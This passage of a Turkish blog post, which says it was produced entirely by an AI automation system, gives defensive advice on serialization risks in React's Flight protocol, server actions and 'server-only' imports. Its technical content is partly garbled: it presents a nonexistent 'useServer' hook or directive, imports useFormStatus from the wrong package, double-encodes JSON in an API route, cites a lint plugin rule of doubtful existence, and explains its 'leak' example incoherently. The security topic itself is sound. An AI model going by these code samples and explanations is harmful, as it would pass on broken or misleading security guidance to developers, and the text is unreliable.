  // Gelen veriyi sanitize et
  const safeBio = sanitizeForFlight(bio);

  return <div>{safeBio}</div>;
}

JSON.stringify ile birlikte kullanım çok önerilir. Uzaklaştırma işlemi artık serileştirilir.

// pages/api/user.js  (Next.js API Route)
export async function GET(req, res) {
  const user = await getUserFromDb();
  // JSON.stringify => karakterler serileştirilir
  const payload = JSON.stringify({ bio: sanitizeForFlight(user.bio) });

  // Flight → artık komut sekanslarını içermiyor
  return res.json(payload);
}

Bu sayede ne oluyor?

  • $, @, : ve Q karakterleri artık Flight'e özgü bir komut olarak görünmez, unicode escape sekansları olarak sayılır.
  • Flight gizlice yürütülebilir komutları bittirecek. Yerinde serileştirme ve escape işlemi, uçuk bir payload veya uzak kod yürütme sürüşlerini durdurur.

Anahtar Öğretiler 🎯

  • React'in veri taşıma protokolü Flight'i anla.
  • Herhangi bir kullanıcı tarafından üretilen veriyi serileştirme/escape işlemlerinden önce güvenlik açısından değerlendir.
  • Özel karakterleri unicode escape ile değiştir veya JSON.stringify ile flight-safe hale getir.
  • Eğer mevcutsa, React'in escapeForJS yardımcı fonksiyonlarını kullan veya kendine özel bir küçük bir escape mantığı yap.

Böylece, server component'i veya API route'unu kullanıcı tarafından kontrol edilen payloadların Flight komutu olarak tanınmasından korumuş oluruz. Güvenli uygulamalar! 🛡️


🔁 Bonus: React 19 ve useServer / useActionState Yeni Yüzeyler

Bakar mıyız? React 19, useServer direktifi ve yeni useActionState hook'u ile birlikte hem seri hale getirme hem de güvenlik açısından hareket alanını (attack surface) genişletti. Hadi pratik bir örnek üzerinden anlayalım.

useServer direktifi neyi değiştiriyor? 🎯

  • use server ile işaretlenen fonksiyonlar artık client component'lerde bile referans çözümlenebilir ve Flight verisi aracılığıyla gönderilebilir.
  • Bu daha fazla referans çözümlemesi noktası ve dolayısıyla daha geniş bir deserialization sink kümesi anlamına gelir.
  • Sunucu ile istemci arasındaki veri trafiği artar → işte "yeni yüzeyler".

useActionState ile sunucu eylemlerinin parçalanması 🔁

useActionState, form durumunu client tarafında tutarken arka planda sunucu eylemlerini çağırmamızı sağlar. Artık hem client state hem de server state serialize edilir, bu da yeni bir güvenlik yüzeyine işaret eder.

Sunucu kısmı sızmasın, hadi server-only paketini görelim 🛠

Eğer sunucu tarafı kodunu yanlışlıkla client'a taşırsanız, siz de yeni yüzeylerden birinden vazgeçersiniz: serialization güvenlik ihlalleri.

1️⃣ Kaçak sunucu fonksiyonu (yanlışlıkla client'a sızma)

// components/LeakExample.jsx
'use client';

import { useFormStatus } from 'react';

// Server fonksiyonunu client component'da tanımladık
async function leakFn() {
  // Bu, client'a gönderilebilir – tehlikeli!
  const res = await fetch('https://api.example.com/secret', {
    method: 'POST',
    body: JSON.stringify({ secret: 'payload' }),
  });
  return res.json();
}

function Form() {
  const { pending } = useFormStatus();

  return (
    <form action={leakFn}>
      <button type="submit" disabled={pending}>
        Sızdır
      </button>
    </form>
  );
}

Ne oluyor burada? ❌

  • leakFn client paketinde kaldı ve runtime'da şifre gönderdi.
  • Flight çerçevesi, istek gövdesini sunucuya gitmediği için istemciye serialize etmeye çalışacak → potansiyel deserialization sink.

2️⃣ import 'server-only' ile doğru kullanım

// actions/createPost.js
import 'server-only'; // ❌ Client tarafında SSR edilirse hata fırlatır

export async function createPost(data) {
  // Gerçek sunucu tarafı işlemleri (DB, API, vb.)
  console.log('Sunucu tarafında çalışıyorum:', data);
  return { id: Date.now() };
}
// components/PostForm.jsx
'use client';

import { useFormStatus } from 'react';
import { createPost } from '../actions/createPost';

function PostForm() {
  const { pending } = useFormStatus();

  return (
    <form action={createPost}>
      <button type="submit" disabled={pending}>
        Gönder
      </button>
    </form>
  );
}

Neden çalışıyor? ✅

  • import 'server-only' compile zamanında client tarafında varsa bir hata fırlatır.
  • Böylece sunucu tarafı fonksiyonlar client'a taşınmayı asla başaramaz.

Güvenliği forslayalım: lint kuralları

Birçok ekip ayrıca eslint-plugin-server-only gibi bir plugin kullanıyor:

{
  "plugins": ["server-only"],
  "rules": {
    "server-only/no-process-env": "error"
  }
}

Artık hatalı import'ları yakalıyor ve otomatik olarak sızma noktalarını azaltıyor.

Özet: yeni yüzeylerin durumu 📝

  • useServer → daha fazla referans çözümlemesi, daha geniş deserialization yüzeyi.
  • useActionState → hem client hem de server state'i serialize eder.
  • import 'server-only' → server tarafı kodunun client'a sızmasını engeller.
  • Lint kuralları → compile zamanında kaçak import'ları yakalar.

Bir sonraki sunucu tarafı eyleminizde kesinlikle import 'server-only' kullanmaya özen gösterin; böylece yeni yüzeylerin sunduğu heyecanı güvenle karşılayın. İyi kodlamalar! 🚀


🎯 Son Söz: Güvenlik Bir Süreçtir, Bir Ürün Değil

Arkadaşlar, gelin şimdi durup genel resmi bir gözden geçirelim. Flight protokolü harika — streaming, serialization, performans... Hepsi bir bir. Ama bu güçün arkasında, eğer dikkat etmezseniz sizi yutabilecek bir risk de yatıyor 🎭

Ne oluyor burada aslında?

  • Flight'in gücü, verinin nasıl taşındığına dair varsayımlarınızı kırıyor
  • "Sunucu güvenilir, oradan gelen her şey temizdir" diye düşündüğünüz an — Trusted Server Assumption — sisteminiz en zayıf haline geliyor ⛔
  • Tek bir manipulated payload, tek bir unescaped $ veya @ sembolü... ve oyun bitmiş oluyor

🛠 Sizden Ricam: Bugün Başlayın

Bunu bir "yarın yaparım" listesine eklemeyin. Hemen şu üç adımı atın:

  1. Kendi safeDeserialize wrapper'ınızı yazın
    Kütüphaneye güvenmeyin, kendi kontrolünüzü koyun. allowList mantığıyla yalnızca beklediğiniz tipleri kabul edin.

  2. CSP ve Trusted Types'ı aktif edin
    Tarayıcı seviyesinde bir ikinci hat koyun. script-src 'self' ve trusted-types policy'si olmadan production'a çıkmayın ✅

  3. Code Review'da $ ve @ sembollerini görünce durun
    Her gördüğünüzde sorun: "Bu veri güvendi mi?"
    Eğer cevap "emin değilim" ise → reddedin, sanitize edin, test edin 🔁


Güvenlik bir ürün değildir ki satın alsınız bitirirsiniz. Bir süreçtir, bir alışkanlıktır, bir kültüredir 🌱

Küçük adımlar atın, sürekli soru sorun, "bunu nasıl kırabilirim?" diye düşünün. Zamanla bu refleks sizin için doğal hale gelecek.

Güvenli kodlamalar! 🚀


Bu içerik tamamen yapay zeka destekli otomasyon sistemi ile üretilmiştir.

Burak Sağlık

Burak Saglik

©2024 Desing and Developed by @Burak Sağlık

All rights reserved